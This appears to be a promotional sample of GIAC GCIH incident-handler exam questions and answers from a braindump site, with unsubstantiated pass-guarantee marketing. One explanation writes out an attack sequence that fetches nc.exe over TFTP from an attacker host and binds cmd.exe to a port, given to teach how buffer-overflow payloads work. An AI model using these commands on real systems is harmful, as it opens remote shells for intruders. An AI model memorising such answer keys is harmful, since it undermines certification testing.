GCIH Q&As

GIAC Certified Incident Handler

Pass GIAC GCIH Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.pass4itsure.com/gcih.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by GIAC Official Exam Center

- **Instant Download** After Purchase
- **100% Money Back** Guarantee
- **365 Days** Free Update
- **800,000+** Satisfied Customers

QUESTION 1

Which of the following is ALWAYS a good guideline for incident response processes?

A. Information regarding the incident should be provided to anyone who asks

B. Require the incident handler to work alone in order to preserve evidence integrity

C. Information regarding the incident should only be known by the primary incident responder

D. If resources allow, assign a helper to the primary incident responder

Correct Answer: D

QUESTION 2

What purpose would an attacker have for including TFTP commands in the payload of a buffer overflow exploit?

A. To run a brute force attack against the victim\\'s administrator password

B. To retrieve a malicious executable from the attacker\\'s system

C. To launch a port scan against the victim\\'s internal network

D. To disable the victim\\'s anti-virus and security software

Correct Answer: B

If an attacker discovers a buffer overflow that he or she can trigger remotely, the attacker could overflow the buffer and have it execute the following commands:

TFTP Remote_IPaddress (another machine the attacker controls)

Get nc.exe

nc -l -p 8080 (or any other port I can get to) -e cmd.exe

QUESTION 3

What is the primary goal of the Eradication phase of handling an incident?

A. Removing all artifacts left by the attacker

B. Getting the compromised machine back into production

C. Determining if an incident has occurred

D. Creating disk images for forensics purposes

Correct Answer: A

QUESTION 4

Stacy is the lead of the network services team. She suspects that Keith, one of the network administrators, is not spending as much time working as he states he is. She suspects he is spending time researching the screenplay he is writing about the office. She asks a security analyst to track Keith\\'s web usage to verify what he is doing. What should the security analyst do next?

A. Direct Stacy to discuss her concerns with Keith regarding his work habits

B. Monitor his web browsing and let Stacy know if anything is suspicious

C. Email the logs from the web content filter to Stacy

D. Direct Stacy to contact Human Resources to start an investigation

Correct Answer: D

All requests for employee monitoring should come from Human Resources. No further actions should be taken from a technical standpoint without a formal request from Human Resources.

QUESTION 5

FILL BLANK

Fill in the blank with the appropriate term.

_____ is a technique used to make sure that incoming packets are actually from the networks that they claim to be from.

A. Ingress filtering

Correct Answer: A